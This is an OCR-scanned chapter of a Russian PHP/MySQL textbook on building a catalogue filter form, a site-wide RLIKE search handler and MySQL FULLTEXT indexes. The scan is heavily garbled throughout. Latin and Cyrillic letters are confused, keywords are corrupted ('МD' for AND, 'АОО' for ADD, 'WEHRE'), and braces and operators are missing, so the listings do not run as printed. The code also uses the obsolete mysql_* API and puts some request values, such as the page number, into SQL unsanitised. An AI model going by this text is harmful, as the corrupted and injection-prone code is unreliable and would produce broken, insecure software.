Глава 14. Система поиска по са йту narne= "id_p arent " value= "<? echo $idyarent ?>"> <table> <tr><td> <table width=lOO%> <tr class=main txt> <td>Район :</td> <td><select type=text narne=di strict> <option value= , попе , <?php if ( $_POST ['district '] echo "se lected" ; ?» не име ет значения</орtiоп> <option value= ' kanavins kii ' <?php if ( $_POST ['district '] echo "selected" ; ?» Канавинский< /орtiоп> <option value= 'ni zhegorodskii ' <?php if ( $_POST ['district '] echo "selected" ; ?» Нижегородский< /орtiоп> <opt ion value= 'sovetskii ' <?php if ( $_POST ['district '] echo "selected" ; ?» Советский< /орtiоп> <opt ion value= 'prioks kii ' <?php if ( $_POST ['district '] echo "selected" ; ?» Приокский< /орtiоп> <option value= 'mos kovs kii ' <?php if ( $_POST ['district' ] echo "selected" ; ?» Московский</орtiоп> <option value= ' avtozavodskii ' <?php if ( $_POST ['district '] echo "selected" ; ?» Автозаводский< /орtiоп> <option value= 'leninskii ' <?php if ($_POST [ 'district ' ] 'попе ') 'kanavinskii ' ) 'ni zhegorods kii ') 'sovetskii ' ) 'priokskii ' ) 'mos kovskii ' ) 'avtozavodskii ' ) 'lenins kii ' ) 737
738 echo "selected" ; ?» Ленинский</орtiоn> <opt ion value= 'sormovs kii ' <?php if ( $_POST ['district '] echo "selected" ; ?» СОРМОБский< /орtiоn> </select></td></tr> <tr class=rnain txt> <td>количе СТБО комнат :</td> <td><select type=text name=rooms > <option value=O Часть 11. Создание сайmа 'sormovs kii ' ) <?php if ( $_POST ['rooms' ] О) echo "selected" ; ?» не име ет значения< /орtiоn> <opt ion value=l <?php if ( $_POST ['rooms'] 1) echo "se1ected" ; ?» l</option> <option value=2 <?php if ( $_POST ['rooms'] 2) echo "se1ected" ; ?» 2</option> <option va1ue=3 <?php if ( $_POST ['rooms'] 3) echo "selected" ; ?» 3</opt� on> <option value=4 <?php if ( $_POST ['rooms'] 4) echo "selected" ; ?» 4</option> <option value=5 <?php if ( $_POST ['roorns '] 5) echo "selected" ; ?» 5</option> <option va lue= 6 <?php if ( $_POST ['rooms'] 6) echo "selected" ; ?» 6</option> </select></td>< /tr> <tr class=rnain txt> <td>цена общая, руб . : </td> <td>OT <input type=text name=price_rnin va lue= "<?= $ _POST [ 'price_rnin ' ] ?>"><br> до <input type=text name=p rice_rnax va lue="<?= $_POST ['price_rna x '] ?>">< /td>< /tr> <tr class=rnain txt> <td>цена за КБ .метр , руб . :</td> <td>OT <input type=text name=pricerne ter_rnin value= "<?php echo $_POST ['p ricerneter_rnin ']; ?>"><br>
Глава 1 4. Система поиска по сайту до <input type=text name=priceme ter_rnax value= "<?php echo $_POST ['p ricemeter_rna x ']; ?>"></td>< /tr> </table> < /td><td valign=top> <table width=100%> <tr class=rnain txt> <td>этаж :</td> <td><input type=text name=floor value= "<?php echo $_POST ['floor' ]; ?>"></td></tr> <tr class=rnain txt> <td>caH . узел :</ td> <td><select type=text name=su> <option value= 'none ' <?php if ($_POST ['su ' ] не име ет значения <option value= 'separate ' 'попе' ) echo "selected" ; ?» <?php if ( $_POST ['s u' ] == 'separate ') echo "selected" ; ?» раздельный</орtiоn> <opt ion value= ' combined ' <?php if ( $_POST ['su' ] == 'comb ined ') echo "selected" ; ?» совмещенный< /орtiоn> </select></td>< /tr> <tr class=rnain txt> <td>лоджия / балкон :</td> <td><select type=text name=balcony> <opt ion value= 'none ' <?php if ($_POST ['balcony '] == О) echo "попе "; ?» не име ет значения</орtiоn> <opt ion va lue= 'balcony ' <?php if ($_POST [ 'balcony ' ] == 'balcony ' ) echo "selected" ; ?» балкон</орtiоn> <opt ion value= 'loggia ' <?php if ( $_PO ST ['balcony' ] == 'loggia ') echo "selected" ; ?» лоджия< /орt iоn> </select></td></tr> <tr class=rnain txt> <td>Характеристика :</ td> <td><select type=text name=rnaterial> 739
740 <opt ion value= 'none ' <?php if ($_POST [ 'rnaterial ' ] echo "selected" ; ?» не име ет значения< /орtiоп> <opt ion value= 'brick ' 'попе ' ) <?php if ($_POST ['rna terial ' ] == 'brick ') echo "selected" ; ?» кирпичНЬ!Й< /орt iоп> <option value= 'concrete ' <?php if ($_POST ['rnaterial '] echo "selected" ; ?» </option> панель НЬ!Й</орtiоп> <option value= 'reconcrete ' <?php if ($_POST [ 'rnaterial ' ] echo "selected" ; ?» монолитНЬ!Й< /орtiоп> </select></td> </tr> </table> , concrete ' ) , reconcrete ' ) </td> </tr><tr> <td colspan=2 > <input class=butt onpo ll type=submit vаluе=Искать> </td>< /tr> </table> <input type=hidden name=s earch value=search> </fonn> <?php // Скрипт-обработчик поискового запроса // из формы if (isset ($ POST ['search' ])) echo titlе ("Резуль таты поиска ") ; echo "<br>" ; Часть 11. Создание сайта // Флаг равен true , если есть хотя бы один критерий поиска $is_query = false ; // Пр оверяем наличие и число параметров поиска $trnpl $trnр2 $trnрЗ $trnрЗ = $trnp4 = $trnр5 = $trnр6 = $trnр7 $trnр8 $trnр9 $trnplO = $trnpll = $trnp12 = $trnрlЗ $trnp14 = $trnp15 "11. ,
глава 14. Система поиска по сайту // Защищаем данные от SQL-инъекци и if (!get_rna gic_quotes_gpc () ) $ POST ['district '] = mysql_e scape_string ( $_POST ['district' ] ); $_POST ['material '] = my sql_escape_string ( $_POST ['rna terial' ]); $_POST ['square_o _min '] $_POST ['square_o_rnax '] $_РОЗТ ['square_j _min ' ] $ РОЗТ[,square_j_rnaх'] $_POST ['s quare_k _min '] $_РОЗТ ['square_k _rnax ' ] $_РОЗТ[,rooms'] $_РОЗТ[ 'floor' ] $_РОЗТ[,su'] $_РОЗТ [ 'price_min' ] $_РОЗТ [ 'price_rnax ' ] $_РОЗТ [ ' pricemeter_min ' ] $_POST ['p ricemeter_rna x '] // Район intval ( $_POST ['s quare_o _max ']); intval ( $_POST ['s quare_j _min ']); intval ( $_POST ['s quare_k_m in ']); intval ( $_POST ['s quare_k_max ']); intval ( $_POST ['rooms ']); intval ( $_POST ['floor' ]); intval ( $_POST ['su ']); intval ( $_POST ['price_m in ']); intval ( $_POST ['price_m ax ']); intval ( $_POST ['p ricemeter_min ']); intval ( $_POST ['p ricemete r_rnax ']); if (!emp ty ( $_POST ['di strict ']) && $ POST ['district '] != 'попе') $tmpl = " МD district= ' $_POST [district] ' '' ; // Площадь if (!empty ($_РОЗТ ['square о mi n' ])) $tmp2 = " МD squareo > $_POST [square_o _min ]"; if (!emp ty ( $_POST ['square_o_rnax '])) $tmp3 = " МD squareo < $_POST [square_o_max ] "; if (!empty ( $_POST ['square_j _mi n' ])) $tmp4 = " МD squarej > $_POST [ square_j _min] "; if( !empty($_РОЗТ [ 'square_j _rnax ' ] ) ) $tmp5 = " МD s cruarej < $_POST [square_j _max ]"; if ( ! empty ($_POST ['square_k_mi n' ] ) ) $tmp6 = " МD squarek > $_POST [square_k_min ]"; if (!empty ($_РОЗТ ['square_k _rnax ' ] ) ) $tmp7 = " МD squarek < $_POST [square_k_rnax ]"; // Количество комнат if ( ! empty ($_РОЗТ ['rooms ' ] )) $tmp8 " МD rooms=$_POST [rooms] "; 741
742 // Этаж if (!ernp ty ( $_POST ['floor ' ])) $trnр9 // Санузел Часть 11. Создание сайmа " AND Поо=$_РОЗТ [floor] " ; if (!ernpty ($ РОЗТ[ 'зи' ]) && $_РОЗТ ['зи '] != 'попе ') $trnрl0 = " AND зи=' ''.$_РОЗТ ['зи '] ."'''; // Характеристика if (!ernpty ( $_POST ['rna terial ']) && $_POST ['rna terial '] != 'попе' ) $trnрll = " AND rnaterial= ' $_POST [rnaterial ] "' ; // Цена if(!ernpty($ РОЗТ['price_rniп' ])) $trnр12 = "AN D price > $_POST [pri ce_rnin ]"; if( !ernpty($_РОЗТ[ 'price_rnax' ] )) $trnp13 = " AND price < $_POST [price_rn ax ]"; if (!ernpty ($_РОЗТ [ 'pricerneter_rnin ' ] ) ) $trnр14 = " AND pricerne ter > $_POST [ pricerneter_rn in ]"; if (!ernp ty ( $_POST ['pricerneter_rnax '])) $trnр15 = " AND pricerneter < $_POST [pricerneter_rn ax ]"; // Формируем запрос из переданных данных $query = "SELECT * FROM $tbl_cat_po sition WHERE hide= 'show ' " . $trnpl1.$trnрl.$trnр2.$trnр3. $trnр4.$trnр5.$trnрб.$trnр7. $trnp8.$trnp9. $trnpl0. $trnp12. $trnр13 . $trnр14 . $trnр1 5. " ORDER ВУ роз"; // Выполняем SQL-запрос $роз = rnysql_que ry ($query) ; if (!$роз ) throw new Ехсерti опМуSQL (rnys ql_e rror () , $ qu ery, "Ошибка при обращении к таблице риелторских услуг" ) ; // Колич ество рядов в наборе должно быть больше нуля if (rnуsql_пuш_rоwS ($роs ) > О) ?>
Глава 14. Система поиска по сайту <table width=lOO% border=O cellspacing= l cellpadding= l> <tr clas s=stable tr ttl clr> <td align=center <td align=center <td align= center <td align=center <td align=center <td align=center <td align=center <td align=center <td align=center <td align=cent er <td align=center <td align=center <td align=cent er <td align=center <td align= center </tr> $i=О; wh ile ( $position class=stable tхt>Кол .комн .</td> class=stable tхt>Район< /td> class=stable_txt>Aдpec< /td> class=stable_txt> (О) </td> class=stable_txt> (Ж) </td> class=stable_txt> (К) </td> class=stable tхt>Этаж< /td> сlаss=stаblе_tхt>Эт . дома</td> сlаss=stаblе_t хt>Материал</td> class=stable txt>C/y</td> сlаss=stаblе_tхt>Лоджия/Балкон< /td> сlаss=stаblе_tхt>Цена ,м.кв.</td> сlаss=stаblе_t хt>цена , общ . </td> class=stable tхt>Валюта</td> сlаs s=s tаblе_tхt>Прим .</ td> // Определяем район switch ($position ['di strict ']) case 'kanavins k ii ' : $distr = "КанавинсКИЙ ."; break ; case 'ni zhegorods kii ': $distr = "Ниже городский "'; break ; case 'sovetskii ': $distr = "Советский" ; break; case 'priokskii ': 743
744 $distr break; "Приокский" ; case 'rnos kovs kii ': $distr = "Московский" ; break; case 'avtozavods k ii ' : $distr = "Автозаводский "; break; case 'lenins kii ': $distr = "Ленинский "; break; case 'sorrnovs kii ': $distr = "Сормо вский "; break; // Определяем материал дома $rnaterial = "кирп."; switch ($pos ition ['rna terial ']) } case 'brick' : $rnaterial break; "кирп. "; case 'conc rete ': $rnaterial = "панел. "; break; case 'reconcrete ': $rnaterial = "монолит ."; break ; // Определяем тип санузла $su = "разд. "; switch ($position['su' ]) case 'separate ': $su = "разд. "; break ; case 'cornb ined ': $su = "сов."; Часть 11. Создание са йmа
гл ав а 14. Система поиска по са йту - break; // Определяем наличие балкона $balcony = "балкон "; switch ($pos ition ['balcony' j) case 'balcony' : $balcony = "балкон "; break ; case 'loggia ': $balcony = "лоджия "; break; if ( $i++ % 2) $class = "stable_tr_clr2"; else $class = "stabl e tr clrl "; echo "<tr class=\"$class \"> <td align= cent er clas s=stable_t xt> $position [ rooms j</td> <td class=stable txt> $distr< /td> <td class=s table txt> $position [ addressj </td> <td align=center clas s=stable_t xt> $position [squareo j</td> <td align=center clas s=stable_txt> $pos ition [ squarej j </td> <td align=center clas s=stable_t xt> $position [ squarekj </td> <td align=cent er class=stable_t xt> $pos ition [floor j </td> <td align=center clas s=stable_t xt> $pos ition [ floorhousej </td> <td align=center class=stable txt> $material</td> <td align=center class=stable txt> $su< /td> <td align=center class=stab le txt> $balcony< /td> 745
746 Часть /1. Создание са йта ?> <td align=center class=stable_txt> $pos ition [pricerneter] </td> <td align= center class=stable_txt> $pos ition [price ] </td> <td align=center class=stable_t xt> $pos ition [currency ] </td> <td align=center class=stable_txt> $position [note ] </td> </tr>"; else echo "Поиск не дал результатов . Попробуйте изменить критерии поиска ."; echo "</table> "; ) // Подключаем нижний шаблон require_опсе ( "ternplates /bottom . php " ) ; catch ( Excepti onМySQL $ехс } requi re_once ("exception_mys ql_debug . php " }; catch ( ExceptionМySQL $ехс } requi re_once ("e xcepti on_my sql_debug .php" } ; catch ( Excepti onМember $ехс} require_once ("e xception_membe r_debug . php " }; - Как ВИДНО из листинга 14.1, в начале файла catalog_searcl1 .pllp размещена НТМL-форма, среди прочих параметров передающая GЕТ-параметр searc h, установленное значение которого является сигналом для обработки посту­ пивших из формы данных. Критерии поиска записываются в 15 временных переменных от $tmp l до $tmp15, которые далее испол ьзуются для формиро­ вания SQL-запроса на извлечение информации из таБЛ ИЦbl system_po sitio n ($tbl_cat_pos i tion) .
Глава 14. Система поиска по сайту 747 ВЫВОД товарных позиций осуществляется в виде табл ицы, точно так же как это осуществляется в файле catalog_positioI1.pl1p (см . листинг 13.13). 14.2. Поиск по сайту Удобный поиск по сайту обычно содержит минимум эл ементо в управления : текстовое окно для ввода поисковой фразы и кнопка, позволяющая отправить поисковую фразу обработчику. Обработчик в свою очередь выводит список всех найденных позиций на отдел ьной странице (рис. 14.3). Рис. 14.3 . Поиск по сайту Для того чтобы добавить поисковую форму в правую колонку сайта, необхо­ димо отредактировать файл templates/top.pl1 p, ответственный за вывод верх­ ней части саЙта. В листи нге 14.2 представл ен фрагмент, который формирует НТМL-форму поиска, отправляющую данные обработчику searcl1 .pl1p. ЗА МЕЧАНИЕ Для формирования НТМL-формы не испол ьзуется SoftTi me FгameWoгk, та к ка к требуется передача данных методом GЕт. Передача данных методом GET при построении поисковых форм имеет ряд преимуществ , связанных, гл авным образом, с те м, что на резул ьтаты поиска можно ссылаться с дру-
748 Часть 11. Создание сайта гих ресурсов, кроме того , снимается ряд сложн осте й, связанных с постра_ ничной навигацией. ЛЖ:;ТИНГ 14.2 . НТМL -форма поиска <form action=s earch . php method=GET> <input type=text class=in_input size=30 пате=пате value= "<?= html specialchars (stripslashes ($_GET [ 'пате ' ] ) I ENT_QUOTE S) ; ?>"> <input type=submit class=in_input vаluе= "Искать "> </form> В атрибут value тексто вого поля пате подставляется GЕТ-параметр $_GET [ 'пате ' ] - это необходимо для того, чтобы после открытия страницы с резул ьтатами поиска в тексто вом поле поисковой формы оставался ранее введенный пользователем текст. Такое поведение формы позвол ит пользова­ тел ю луч ше ориентироваться в резул ьтатах поиска, есл и он испол ьзует сразу нескол ько стран иц для разных вариантов поисковых запросов, кроме того, это позволяет корректировать запрос, если его результаты оказал ись неудов­ летворительными. Для того чтобы введенные угловые скобки и ка вычки не искажал и НТМL-форму, данные из GET-параметра пате обрабаты в аются при помощи функции html specialchars (), приводящей специальные символы HTML к безопасной форме. Кроме это го, в качестве второго параметра функции используется константа ENT_QUOTE S, в резул ьтате чего од инарные и двойные кавычки также подвергаются преобразованию к безопасной форме: &#039; и &qu ot ; соответственно. GЕТ-параметр пате обрабаты вается также при помощи функции strips lashes (), которая удал яет экран ирующие слэ­ ши, добавляемые к кавычкам, есл и на сервере включен режим " магических кавычек" . ЗА МЕЧА НИЕ По мнению большинства РНР-разработчиков, от магических ка вычек боль­ ше вреда, чем безопасности , так как на од них серверах они включены, а на других - отключены . Дл я учета обоих режи мов приходится создавать до­ полнительный объем кода , что не способствует ни его прозрачности , ни его ко мпактности . В РНР 6 режим магических кавычек будет исключен.
Гл ава 14. Система поиска по са йту 749 сУБД MySQL предоставляет несколько инструментов для осуществления п оиска: iJ о ператор ЫКЕ - кл ассический SQL-оператор, позволяющий задавать ш аблон поиска с использованием двух специальных символ ов: знака подчеркивания _, обозначающего один любой символ, и знака процента %, обозначающего любое кол ичество произ вольных символов; iJ о ператор RLIKE - оператор для поиска с использованием регулярных в ыражений; iJ конструкция МАТ СН ( ...) AGAINST ( ...) - оператор для поиска по столбцам, индексирован ным индексом FULLTEXT . ЗА МЕЧАНИЕ Поисковые возможности СУБД MySQL более подробно об суждаются в на­ ших книгах "Самоучитель MySQL 5" , " MySQL 5" и "MySQL на примерах" . Так как поиск будет вестись минимум по двум блокам (новости и CMS), ис­ пользовать кл асс постраничной навигации, ориентированный на одну табл и­ цу, в блоке поиска не совсем удобно. Дл я постраничной навигации будет ис­ пол ьзоваться функция pager () из файла utils.pager.php, которая повторяет по функциональности класс pager_my sql (см. главу 7), однако предоставляет програм м исту возможность самостоятельно выполнить и обработать MySQL­ запросы. В листинге 14.3 приводится содержимое обработчика searcl1 .pl1 p, который испол ьзует для поиска операто р RL IKE. Листинг 14.3 . Обработчик НТМL-формы поиска, search.php <?php // Подключаем SoftTime FrameWo rk requi re_once ("c onfig/class . config .php" ) ; // Устанавливаем соединение с базой данных require_опсе ( "config/ config . php" ) ; // Подключаем функцию навигации requi re_once ("utils . navigat ion.php" ) ; // Заголовок requi re_once ("ut ils .title .php " ); // Подключаем функцию постраничной навигации require_опсе ( "utils . pager . php " ) ;
750 Часть 1/. Создание сайта try // Подключаем верхний шаблон $pagename "ПОИСК по сайту" ; $keywords "ПОИСК по сайту" ; require_once ("temp1ates/ top .php" ) ; / / Заголовок страницы echo tit1e ( $pagename ) ; if (empty ( $_GET['name' ])) echo "<div с1аss=\ "maiп_tхt \">Введите фразу для поиска .</div>"; е1ве // Проверяем введенные данные на пр едмет SQL-инъекций if (!get_ma gi c_quotes_gpc () ) $_GET ['пате' ] $words = preg_split (" I [\s] + I", $_GЕТ ['паше' ]); // Формируем вспомогательный ма ссив foreach ( $words as $line ) $sеаrсh_cшs [] = "($tblyaragraph . name RLIКE ' '' .$l ine.'' ')''; $search_news [] "(($tbl_news .name RLIКE ' '' .$line . '' ') OR ($tbl_news .body RLIКE ' '' . $line. "'))"; // Элемент постр аничной навигации if (emp ty ( $_GET ['p age' ])) $page = 1; е1ве $page = $_GET ['page' ]; // Количество ссылок в постраничной навигации $page_1ink = 3;
глава 14. Система поиска по сайту 11 Количество позиций на странице $pnurnber = 10; 11 Постраничная навигация $first = ($page - 1) *$pnurnbe r; // Подсчитываем количе ство найденных позиций $total $total $query О; "SELECT COUNT ($tbl_p osition . id_pos ition) FROM $tbl_p aragraph , $tbl-position WНERE ".implode("AND ", $search_стз). " AND $tbl_pos ition . hide = 'show ' AND $tbl_paragraph .hide = 'show ' AND $tbl_p osition . id_pos ition = $tbl-paragraph .id_p osition" ; $tot = mys ql_que ry ($query) ; if (!$tot ) throw new ExceptionМySQL (mysql_error () , $que ry, "Ошибка при извлечении количества позиций" ) ; $total += mys ql_result ( $tot , О) ; $query "SELECT COUNT ($tbl_news . id_news) FROM $ tbl_news WНERE ".implode (" AND ", $ search_пеws ) ." AND $tbl_news .hide = 'show' ''; $tot = mys ql_que ry ($query) ; if( !$tot) throw new Excepti onМySQL (mys ql_error () , $ query, "Ошибка при извлечении количества позиций" ) ; $total += mysql_result ( $tot , О) ; 751
752 // Выв одим содержимое текуще го каталога Часть 11. Создание ca йrпa $ que ry = "SELECT $tblyos ition . id_position AS id position, $tbl_position . id_catalog AS id_catalog, $tblyos ition . naтe AS пате , 'art' AS link FROM $tblyaragraph , $tbl_pos ition WНERE ".implode (" AND ", $ search_cms) ." AND $tbl_p osition . hide = 'show ' AND $tbl_paragraph .hide = 'show ' AND $tbl_position . idyo sition = $tblyaragraph .idyo sition GROUP ВУ $tbl_p osition . id_po sition UN ION SELECT $tbl_news .id_n ews AS id_pos ition, О, $tbl news . naтe AS пате , 'news ' AS link FROM $tbl news WHERE ".implode (" AND ", $ search_news ) ." AND $tbl_news .hide = 'show ' ORDER ВУ пaпiе LIMIT $first, $рпшnbе r" ; $pos = mys qi_query($que ry) ; if (!$pos ) throw new Excepti onМySQL (mys ql_error () , $que ry, "Ошибка при формир овании списка позиций " ); // Если име ется хотя бы одна позиция , / / выв одим ре зуль тирующий список if (mysql_num_rows ($pos ) > О) wh ile ( $position = my sql_fetch_a rray ($pos) ) if ( $position['link' ] == "art")
Глава 14. Система поиска по са йту echo "<div class=main txt><a class=\ "rnain txt lnk\ " - - - href=index . php?id_catalog=$pos ition [ id_catalog] ". "&id_p osition= $position [ idyosition ]>". "$pos ition [naтe] </a></div>"; if ($position [ ' link ' ] "news ") echo "<div class=main txt><a class=\ "rnain txt lnk\" - - - hre f=news . php?id_n ews=$position [ id_po sition] >" . "$pos ition [пате] </a>< /div>"; echo "<div class=\ "rnain_txt \">" ; pager ( $page , $total , $pnumbe r, $page_l ink , "&пате=" . urlencode ($_GET [ 'пате' ])) ; echo "</div>"; else echo "<div сlаSS=\ "mаiп_tхt \">по Вашему запросу ничего не н айдено . Попробуйте изменить запрос . </div>" ; // Подключаем нижний шаблон require_once ("templates /bottom.php" ) ; catch ( Excepti onМySQL $ехс ) require_once ("except i on_mysql_debug .php " ); catch ( ExceptionМySQL $ехс ) require_once ("exception_my sql_debug . php ") ; 753
754 Часть 11. Создание сайmа catch ( ExceptionМember $ехс ) require_once ("excepti on_member_debug .php " ); ?> НТМL-форма передает обработч ику лишь один GЕТ-параметр пате ; есл и он оказывается пусты м, выводится фраза Введ ите фразу для поиска. Есл и па­ раметр передан, то фраза разбивается на отдел ьные сл ова при помощи регу­ лярного выражения [\s]+ и функции preg_split () на массив $words, эл е­ менты кото рого содержат отдел ьные сл ова поисковой фразы. В ци кл е foreach из эл ементов массива $words формируются массивы фрагментов WНЕRЕ-конструкции для каждого из блоков, в котором будет осуществл ять­ ся поиск. Так дЛЯ CMS фрагменты SQL-запроса помещаются в массив $serach_cms , а для блока новости - в массив $serach_news . Для получения общего кол ичества найденных позиций следует сформироват ь для каждого из блоков SELECT-запрос с участием функции COUNT ( * ) , кото­ рый подсчитывал бы количество найденных .позиций в каждом из бл оков и сум мировал резул ьтаты. При этом ранее полученные фрагменты WHERE­ конструкции в массивах $search_cms И $search_news объединяются в еди­ ную строку при помощи функции implode ( ), причем разделителем служит логический оператор И - 11 AND 11 . SQL-запрос на выборку найденных позиций представляет собой нескол ько SЕLЕСТ-запросов, объединенных конструкцией UN ION (сортировка резул ьта­ тов производится по названию позиции - полю пате). В резул ьтирующую табл ицу добавляется четвертое поле link, которое содержит иде нтификатор, позволяющий определить, имеем .дело мы со статьей или с новостн ым бло­ ко м. Для статьи в это поле помещается идентификатор ' art ' , для новостных позиций - ' news ' . Поле link позволяет правильно сформировать ссылку для вывода позиции в резул ьти рующем списке. Выборка ограничивается конст­ рукцией LIMIT $first, $pnumber, позволяющей осуществить постраничную навигацию. Для вывода ссылок на другие страницы испол ьзуется функци я pager () из файла utils.pager.pll p, которая имеет следующий синтаксис: function pager ( $page , $total , $pnumber, $page_link, $parameters ) Здесь первый параметр $page - текущий номер страницы, второй параметр $total - общее кол ичество найденных позиций, $pnumber - кол ичество позиций, выводимых на одн ой странице, $page_l ink - количество ссылок, после которых добавляется ... (при сл ишком большом кол ичестве ссылок),
гл ава 14. Система поиска по сайту 755 - $pa r ameters - дополнител ьные GЕТ-парам етр ы, кото рые необходимо пере­ дать на другую страницу. Последн ий параметр особенно примечател ен, так как позволяет передать на следующие страницы GЕТ-параметр пате с поис­ ковой фразой. Для того чтобы перевести пробелы и национальные сим вол ы в допустимый для URL-формат, содержимое поисковой фраз ы преобразуется в безопасную форму при помощи функции urlencode () . Фун кция RLIKE представляет собой достаточно удобный оператор, однако п р и большом объеме данных он создает чрезмерную нагрузку на сервер MySQL. Если поиск осуществляется слишком медленно и потребляет много ресурсов, целесообразнее переключиться на полнотекстовый поиск. Пол но­ текстовый поиск осуществляет поиск не по дан ным табл ицы, а по полнотек­ стовым индексам FULLTEXT (в индексах данные поддерживаются в отсорти­ рованном состоянии), поэтому операции поиска осуществляются гораздо быстрее и с меньшим потреблением ресурсов. Такой быстрый поиск имеет одно ограничение: индексации подвергаются слова, содержащие не менее четырех символов, поэтому найти сл ова из трех или меньшего кол ичества с и мволов таким видом поиска невозможно. Кроме это го, пол нотекето вый поиск поддерживается только для таблиц типа MyISQM и полей типа CHAR, VARCНAR и ТЕХТ . ЗАМЕЧА НИЕ Если требуется осуществлять поиск по словам, состоящим из трех симво­ лов, необхо�имо изменить значение системной переменной ft_mi n_word_len в ко нфигурационном файле mу.iпi или my.cnf или пере­ дать параметр --ft_miп_wоrd_lеп=З при старте сервера my s q ld. Если изменение системной переменной ft_min_wo rd_l en производится после того, как созданы таблицы с индексом FULLTEXT, необходимо перестроить индекс (удалить его из та блицы и создать вновь), так как структура файла индексов зависит от значения системной переменной ft_min_ word_l en. Для использования возможностей пол нотекстового поиска необходимо про­ индексировать текстовые столбцы табл ицы при помощи индекса FU LLTEXT . На необходимость индексирования текстового столбца можно указать при создании таблицы в операторе CREATE TABLE. Определение индекса начинается с кл ючевого слова FULLTEXT, после которо­ го следует необязательное кл ючевое слово INDEX. Дал ее указывается имя ин­ декса (которое может совпадать с именем стол бца) и имя индексируемого столбца.
756 Часть 11. Создание сайmа в листинге 14.4 демонстрируется создан ие таблицы system_rnenu_p aragraph, в которой столбец narne индексируется индексом FULLTEXT . ЗА МЕЧАНИЕ Если выполняется Иl:lдекси рование тол ько по од ному столбцу и его имя совпадает с именем стол бца, то имя индекса , ра�мещаемое после ключе­ вого слова FULLTEXT , можно опустить . Листинг 14.4. Индекс ирование столбца пате индексом FULLTEXT CREATE TAВLE system_rnenu_paragraph ( id_paragraph INT (ll) NOT NULL AUTO_INCREМENT , пате ТЕХТ NOT NULL , ); type ENUМ('text', 'tit1e_hl ', 'title_h2 ', 'titlе_hЗ ', 'title_h4 ', 'tit1e_h5 ', 'tit1е_hб ', 'list' ) NOT NULL DE FAULT 'text', a1ign ENUM('left', 'center ', 'righ t' ) NOT NULL DEFAULT 'left', hide ENUМ( 'show' , 'hide' ) NOT NULL DEFAULT 'show' , pos INT (ll) NOT NULL , id_po sition INT (ll) NOT NULL , id_cata1og INT (l1) NOT NULL , PRlМARY КЕУ (id_p aragraph) , FULLTEXT КЕУ пате (пате ) При помощи FULLTEXT можно создать индексы сразу по нескол ьким столб­ цам . Так, если поиск следует осуществлять одновременно по нескол ьким стол бцам, то в скобках после имени индекса следует перечислить имена ин­ дексируемых столбцов через запятую . В листинге 14.5 приводится оператор CREATE TAВLE, создающий табл ицу systern_news , в которой проиндексирова­ ны стол бцы narne и body. Листинг 14.5. Индекс ирование нескольких столбцов CREATE TAВLE system_news ( id_news INT (ll) NOT NULL AUTO_INCREМENT , пате TINYTEXT NOT NULL , body ТЕХТ NOT NULL , putdate DATETlМE NOT NULL DEFAULT '0000-00 -00 00 :00:00',
Гла в а 14. Система поиска по сайту ); url TINYTEXT NOT NULL , url t ext TINYTEXT NOT NULL , urlpict TINYTEXT NOT NULL , hide Enum( 'show' , 'hide' ) NOT NULL DEFAULT 'show' , PRlМARY КЕУ (id_news ) , FULLTEXT КЕУ search (пате , body ) 757 Им я индекса м ожет быть любым. В листинге 14.5 в качестве такого имени в ыбрано search. Часто задача индексирования стол бцов возникает после того, как данные в таблицу уже добавлены. Это может быть вызвано необходимостью добавле­ ния поисковых возможностей в уже гото вое приложение ил и переносом таб­ лицы при помощи тексто вого дампа с ускоре нным запол нением табл ицы, п осле которого требуется повторное построение индексирования . Дл я добавления индексов FULLTEXT в уже готовую табл ицу предназначен о п ератор ALTER TAВLE . Индекс . FULLTEXT, как и любой другой индекс, созда­ ется при помощи кл ючевого сл ова АОО, за которым следует определение ин­ декса. В листинге 14.6 приводятся операто ры ALTER TAВ LE для создан ия ра­ нее рассмотренных индексов в листингах 14.4 и 14.5. Листинг 14.6. Создание индекса FULLTEXT при помощи ALTE R TAВLE ALTER TAВLE system_menu_paragraph АОО FULLTEXT пате (пате) ; ALTER TAВLE system_n ews АОО FULLTEXT search (пате, body ) ; В табл ице не наклады вается ограничений на кол ичество индексов, до пусти м о создан ие нескол ьких индексов, как показано в листи нге 14.7. Листинг 14.7 . Создание нескольких индексов ALTER TAВLE system_n ews АОО FULLTEXT (пате) , АОО FULLTEXT (body) , АОО FULLTEXT search (пате , body ) ; Пол нотекстовый поиск выполняется с помощью конструкции МАТ СН ( ...) AGAINST ( . ..), которая помещается в условие WHERE операто ра SELECT . В круглых скобках после кл ючевого сл ова МАТ СН указываются и м ена ст ол бцов, по которым производится поиск, а в скоб ках после AGAINST указы­ вается фраза, которую необходи м о найти (л истинг 14.8).
758 Часть 11. Создание са йmа ЗА МЕЧАНИЕ Полнотекстовый поиск в СУБД MySQL не чувствителен к регистру. Кроме то ­ го , при поиске игнорируются так называемые "общеупотребительные" слова . К ним относятся слишком короткие сл ова (по умолчанию состоящие меНЬШе чем из четырех символов) , а та юке сл ова, встречающиеся , по крайней мере, в половине записей табл ицы. Так, если в табл ице имеются только две записи то полнотекстовый поиск не даст результатов, так как каждое сл ово буде; присутствовать ка к минимум в половине записей таблицы. ЛИ<:ТИНГ 14.8 . Использование ко нструкции МАТСН ( ...) AGAINST ( ...) SELECT * FROM system_n ews WEHRE МАТСН (паше, body ) AGAINST ('Поисковая фраза '); Следует отметить, что если выполнено индексирование по двум стол бцам, а поиск осуществляется лишь по одному из стол бцов (в конструкции МАТ СН указывается лишь оди н стол бец), будет возвращена ошибка 1191 - отсутст­ вие проиндексированного_стол бца. Для осуществл ения такого запроса н еоб ­ ходимо создать допол нительный индекс . Помимо обычного режима пол нотексто вого поиска, СУБД MySQL предос­ тавляет поиск в логическом режиме, позволяющем изменять логику вхожде­ ния каждого отдел ьного слова в поисковую фразу. Для акти визации этого режима в ко нструкции AGAINST после строки с кл ючевыми словами следует поместить конструкцию IN BOOLEAN МОDЕ, как это продемонстрировано в листинге 14.9 . ЛИСТИНГ 14.9. Использование КОНСТРУКЦИ И МАТСН ( ...) AGAINST ( . ..) SELECT * FROM system_n ews WEНRE МАТСН (паше , body ) AGAINST ('Поисковая фраза ' IN BOOLEAN МОDЕ) ; Перед кл ючевыми словами можно испол ьзовать специальные символы, из­ меняющие логику запроса, описание кото рых приведено в табл . 14.1 . Таблица 14. 1 . Специальные символы лqгического режима СИМВОЛ О писа ние + П редшествующий слову показывает, что это слово должн о при- сутствовать в каждой возвращенной строке - Предшествующий сл ову означает, что это слово не должно при- сутствовать в какой-либо возвращенной строке
